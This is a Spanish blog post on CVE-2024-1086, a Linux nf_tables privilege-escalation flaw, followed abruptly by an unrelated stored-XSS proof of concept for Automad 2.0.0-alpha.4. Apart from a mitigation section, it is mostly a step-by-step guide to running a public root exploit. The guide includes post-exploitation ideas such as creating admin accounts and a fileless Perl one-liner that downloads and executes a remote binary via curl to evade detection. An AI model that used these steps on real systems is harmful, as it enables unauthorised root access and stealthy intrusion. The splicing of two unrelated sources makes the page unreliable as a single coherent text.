CVE-2024-1086: escalado de privilegios explotando Linux nf_tables

Spread the love
Listen to this article
  • 🛡️ Vulnerabilidad modificada: Esta CVE ha sido modificada desde el último análisis por el NVD y está a la espera de una reevaluación que podría cambiar la información proporcionada.
  • 🐛 Descripción: Vulnerabilidad de uso después de liberar en el componente nf_tables del kernel de Linux, permitiendo escalada de privilegios local.
  • 📈 Severidad: Afecta a la función nft_verdict_init() al permitir valores positivos como error de caída en el veredicto del gancho, lo que puede causar una vulnerabilidad de doble liberación al emitir NF_DROP con un error de caída similar a NF_ACCEPT.

El CVE-2024-1086 es una vulnerabilidad de escalada de privilegios que afecta a las implementaciones de Linux nf_tables. Aquí tienes un resumen sobre la vulnerabilidad y cómo se explota:

Descripción de CVE-2024-1086

  • Nombre: CVE-2024-1086
  • Descripción: Esta vulnerabilidad permite a un atacante elevar sus privilegios explotando una debilidad en nf_tables, una parte del subsistema de filtrado de paquetes en Linux.
  • Impacto: Escalada de privilegios, lo que significa que un usuario no autorizado podría obtener privilegios de administrador (root) en el sistema afectado.

¿Qué es nf_tables?

  • nf_tables es una parte del subsistema de filtrado de paquetes Netfilter de Linux, utilizada para la gestión de reglas de firewall y la manipulación de paquetes de red.

Explotación

  1. Acceso inicial: Un atacante necesita acceso al sistema como un usuario normal.
  2. Aprovechamiento de la vulnerabilidad: Mediante la explotación de nf_tables, el atacante puede manipular ciertas estructuras en la memoria del kernel.
  3. Elevación de privilegios: La manipulación exitosa permite al atacante ejecutar código con privilegios de administrador, escalando así sus privilegios.

Medidas de mitigación

  • Actualización: La mejor manera de mitigar esta vulnerabilidad es aplicar parches de seguridad proporcionados por los mantenedores del kernel de Linux.
  • Configuración de seguridad: Restringir el acceso a funciones de nf_tables solo a usuarios de confianza y utilizar configuraciones de seguridad adicionales como SELinux o AppArmor.
  • Monitorización: Implementar herramientas de monitoreo para detectar actividades sospechosas que puedan indicar un intento de explotación de esta vulnerabilidad.

Recursos adicionales

  • Boletines de seguridad: Revisa los boletines de seguridad del kernel de Linux para obtener detalles sobre parches y actualizaciones.
  • Comunidades de seguridad: Participar en comunidades de seguridad y foros para mantenerse informado sobre las últimas noticias y métodos de mitigación relacionados con CVE-2024-1086.

Esta vulnerabilidad destaca la importancia de mantener el software actualizado y de implementar buenas prácticas de seguridad en los sistemas.

https://github.com/Notselwyn/CVE-2024-1086

El repositorio de GitHub que mencionado contiene un exploit para la vulnerabilidad CVE-2024-1086. A continuación, te explico el paso a paso de cómo utilizar este exploit según la información proporcionada en el repositorio:

Paso a Paso para Exploitar CVE-2024-1086

1. Clonar el Repositorio

Abre una terminal en tu sistema y clona el repositorio:

   git clone https://github.com/Notselwyn/CVE-2024-1086
   cd CVE-2024-1086

2. Revisar los Archivos del Exploit

Verifica los archivos dentro del repositorio para entender su estructura y contenido:

   ls

3. Compilar el Exploit

Muchos exploits requieren compilación antes de ser ejecutados. Si hay un archivo Makefile o instrucciones de compilación, sigue esos pasos. Por ejemplo:

   make

Si no hay un Makefile, pero hay un archivo de código fuente (por ejemplo, exploit.c), puedes compilarlo manualmente:

   gcc -o exploit exploit.c

4. Preparar el Entorno

Antes de ejecutar el exploit, asegúrate de que el entorno sea adecuado para la explotación. Esto podría incluir la verificación de la versión del kernel y otras configuraciones específicas:

   uname -r

Confirma que la versión del kernel sea vulnerable según lo descrito en la documentación del exploit.

5. Ejecutar el Exploit

Ejecuta el exploit compilado. La ejecución puede requerir permisos específicos (por ejemplo, como usuario normal):

   ./exploit

6. Verificar el Escalado de Privilegios

Si el exploit es exitoso, deberías obtener una shell con privilegios elevados. Puedes verificar esto con el siguiente comando:

   id

Este comando debería mostrar que tienes privilegios de root (uid=0).

7. Post-Explotación

Una vez obtenidos los privilegios elevados, puedes realizar acciones adicionales como:

  • Crear una cuenta de usuario con privilegios de administrador.
  • Modificar configuraciones del sistema.
  • Instalar o ejecutar herramientas adicionales.

Notas Importantes

  • Ética y Legalidad: Utilizar exploits sin autorización es ilegal y poco ético. Asegúrate de tener permiso explícito para probar la vulnerabilidad en el sistema objetivo.
  • Seguridad Personal: Ejecutar exploits puede dañar el sistema. Realiza pruebas en un entorno controlado y no en sistemas de producción.

Repositorio de GitHub

Para más detalles, revisa la documentación y los comentarios en el código del repositorio de GitHub:

https://github.com/Notselwyn/CVE-2024-1086

Affected Versions

El exploit afecta a versiones desde (incluyendo) v5.14 hasta (incluyendo) v6.6, excluyendo ramas parcheadas v5.15.149>, v6.1.76>, v6.6.15>. El parche para estas versiones fue lanzado en febrero de 2024. La vulnerabilidad subyacente afecta a todas las versiones (excluyendo ramas estables parcheadas) desde v3.15 hasta v6.8-rc1.

Advertencias

  1. Compatibilidad con versiones específicas:
  • El exploit no funciona en kernels v6.4> con la configuración kconfig CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (incluyendo Ubuntu v6.5).
  • El exploit requiere namespaces de usuario (kconfig CONFIG_USER_NS=y), que esos namespaces de usuario sean no privilegiados (sysctl kernel.unprivileged_userns_clone = 1), y que nf_tables esté habilitado (kconfig CONFIG_NF_TABLES=y). Por defecto, esto está habilitado en Debian, Ubuntu y KernelCTF. Otras distribuciones no han sido probadas, pero podrían funcionar.
  1. Estabilidad del exploit:
  • El exploit puede ser muy inestable en sistemas con mucha actividad de red.
  • Los sistemas con adaptadores WiFi, cuando están rodeados de redes WiFi de alto uso, serán muy inestables.
  • En dispositivos de prueba, desactiva los adaptadores WiFi a través del BIOS.
  1. Comportamiento después de la ejecución:
  • El kernel panic (crash del sistema) después de ejecutar el exploit es un efecto secundario que no se ha solucionado deliberadamente para evitar el uso malicioso del exploit (es decir, los intentos de explotación deberían ser más notorios e imprácticos en operaciones del mundo real). A pesar de esto, sigue permitiendo una prueba de concepto funcional en entornos de laboratorio, ya que la shell root es funcional y la persistencia a través del disco es posible.

Uso

Configuración

Los valores predeterminados deberían funcionar en Debian, Ubuntu y KernelCTF con una shell local. En configuraciones/distribuciones no probadas, asegúrate de que los valores kconfig coincidan con el kernel objetivo. Estos pueden especificarse en src/config.h. Si ejecutas el exploit en una máquina con más de 32GiB de memoria física, asegúrate de aumentar CONFIG_PHYS_MEM. Si ejecutas el exploit sobre SSH (en la máquina de prueba) o una shell inversa, es posible que desees activar CONFIG_REDIRECT_LOG a 1 para evitar actividad de red innecesaria.

Compilación

Si esto no es práctico para ti, hay un binario x64 compilado con la configuración predeterminada.

git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make

El binario se encuentra en: CVE-2024-1086/exploit

Ejecución

Ejecutar el exploit es igual de sencillo:

./exploit

La ejecución sin archivos también es compatible, en caso de situaciones de pentest donde sea necesario evitar detecciones. Sin embargo, Perl debe estar instalado en el objetivo:

perl -e '
  require qw/syscall.ph/;

  my $fd = syscall(SYS_memfd_create(), $fn, 0);
  system "curl https://example.com/exploit -s >&$fd";
  exec {"/proc/$$/fd/$fd"} "memfd";
'

Disclaimer

Los programas y scripts (“programas”) en este directorio/carpeta/repositorio de software (“repositorio”) se publican, desarrollan y distribuyen solo con fines educativos/de investigación. Yo (“el creador”) no condono ningún uso malicioso o ilegal de los programas en este repositorio, ya que la intención es compartir investigaciones y no realizar actividades ilegales con ellos. No soy legalmente responsable de nada de lo que hagas con los programas en este repositorio.

  • 📅 Fecha del exploit: 20-06-2024
  • 👤 Autor del exploit: Jerry Thomas (w3bn00b3r)
  • 🏠 Página del proveedor: Automad
  • 🔗 Enlace del software: GitHub
  • 🗂 Categoría: Aplicación web (Flat File CMS)
  • 🔢 Versión: 2.0.0-alpha.4
  • 🖥 Probado en: Docker versión 26.1.4, Debian GNU/Linux 11 (Bullseye)

Descripción

  • ⚠️ Vulnerabilidad: XSS persistente en Automad 2.0.0-alpha.4.
  • 🛠 Impacto: Permite a un atacante inyectar código JavaScript malicioso en el cuerpo de la plantilla.
  • 🎯 Consecuencias: Secuestro de sesión, robo de datos y otras actividades maliciosas.

Prueba de concepto

  1. 🔑 Paso 1: Iniciar sesión como administrador y navegar a http://localhost/dashboard/home.
  2. 📄 Paso 2: Editar la página de bienvenida predeterminada.
  3. 📝 Paso 3: Ir a la pestaña de contenido o http://localhost/dashboard/page?url=%2F&section=text y editar el bloque llamado “Main”.
  4. 💻 Paso 4: Ingresar el payload XSS – <img src=x onerror=alert(1)>.
  5. 🔄 Paso 5: El XSS se activa al visitar la página principal http://localhost/.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *